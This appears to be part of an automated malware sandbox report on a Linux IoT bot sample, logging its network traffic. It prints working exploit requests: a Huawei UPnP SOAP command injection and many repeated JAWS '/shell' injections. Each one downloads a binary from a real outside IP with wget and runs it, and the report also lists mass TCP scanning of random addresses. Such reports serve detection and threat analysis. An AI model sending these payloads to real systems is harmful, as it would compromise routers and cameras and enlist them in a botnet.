Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/na.elf (PID: 5496)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 83.118.247.99
Source: unknown	TCP traffic detected without corresponding DNS query: 197.188.249.99
Source: unknown	TCP traffic detected without corresponding DNS query: 217.216.81.214
Source: unknown	TCP traffic detected without corresponding DNS query: 201.74.212.81
Source: unknown	TCP traffic detected without corresponding DNS query: 69.218.11.87
Source: unknown	TCP traffic detected without corresponding DNS query: 162.107.196.195
Source: unknown	TCP traffic detected without corresponding DNS query: 137.157.119.17
Source: unknown	TCP traffic detected without corresponding DNS query: 13.147.240.98
Source: unknown	TCP traffic detected without corresponding DNS query: 87.191.14.117
Source: unknown	TCP traffic detected without corresponding DNS query: 47.52.234.12
Source: unknown	TCP traffic detected without corresponding DNS query: 125.9.76.138
Source: unknown	TCP traffic detected without corresponding DNS query: 179.97.237.227
Source: unknown	TCP traffic detected without corresponding DNS query: 121.195.57.5
Source: unknown	TCP traffic detected without corresponding DNS query: 163.255.84.104
Source: unknown	TCP traffic detected without corresponding DNS query: 23.127.149.196
Source: unknown	TCP traffic detected without corresponding DNS query: 187.121.58.141
Source: unknown	TCP traffic detected without corresponding DNS query: 204.49.30.44
Source: unknown	TCP traffic detected without corresponding DNS query: 78.16.137.56
Source: unknown	TCP traffic detected without corresponding DNS query: 213.8.157.210
Source: unknown	TCP traffic detected without corresponding DNS query: 83.128.0.75
Source: unknown	TCP traffic detected without corresponding DNS query: 60.132.195.87
Source: unknown	TCP traffic detected without corresponding DNS query: 123.159.80.165
Source: unknown	TCP traffic detected without corresponding DNS query: 52.197.139.208
Source: unknown	TCP traffic detected without corresponding DNS query: 158.251.193.228
Source: unknown	TCP traffic detected without corresponding DNS query: 221.31.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 163.103.18.4
Source: unknown	TCP traffic detected without corresponding DNS query: 125.7.78.111
Source: unknown	TCP traffic detected without corresponding DNS query: 24.167.54.72
Source: unknown	TCP traffic detected without corresponding DNS query: 218.55.165.29
Source: unknown	TCP traffic detected without corresponding DNS query: 35.51.123.94
Source: unknown	TCP traffic detected without corresponding DNS query: 111.31.238.180
Source: unknown	TCP traffic detected without corresponding DNS query: 9.11.142.153
Source: unknown	TCP traffic detected without corresponding DNS query: 42.20.65.5
Source: unknown	TCP traffic detected without corresponding DNS query: 109.26.247.117
Source: unknown	TCP traffic detected without corresponding DNS query: 130.85.147.157
Source: unknown	TCP traffic detected without corresponding DNS query: 74.244.67.116
Source: unknown	TCP traffic detected without corresponding DNS query: 80.7.137.223
Source: unknown	TCP traffic detected without corresponding DNS query: 115.176.146.139
Source: unknown	TCP traffic detected without corresponding DNS query: 18.50.206.178
Source: unknown	TCP traffic detected without corresponding DNS query: 112.141.62.211
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.241.119
Source: unknown	TCP traffic detected without corresponding DNS query: 82.31.29.255
Source: unknown	TCP traffic detected without corresponding DNS query: 109.70.21.22
Source: unknown	TCP traffic detected without corresponding DNS query: 141.60.192.210
Source: unknown	TCP traffic detected without corresponding DNS query: 123.6.9.89
Source: unknown	TCP traffic detected without corresponding DNS query: 201.81.60.236
Source: unknown	TCP traffic detected without corresponding DNS query: 18.200.80.120
Source: unknown	TCP traffic detected without corresponding DNS query: 180.246.180.20
Source: unknown	TCP traffic detected without corresponding DNS query: 159.62.157.90
Source: unknown	TCP traffic detected without corresponding DNS query: 58.237.142.177

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
